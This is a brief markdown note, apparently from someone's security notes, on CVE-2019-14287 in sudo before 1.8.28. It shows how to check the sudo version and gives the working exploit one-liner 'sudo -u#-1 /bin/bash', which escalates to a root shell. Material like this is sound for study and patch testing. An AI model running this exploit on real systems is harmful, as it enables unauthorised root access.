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# CVE-2019-14287

 There was a public CVE release in November 2019 about how there were other ways to enter root besides `root` that got around this restriction. This impacts `sudo` versions before 1.8.28.

find sudo version:

`sudo --version`

exploit:

`sudo -u#-1 /bin/bash`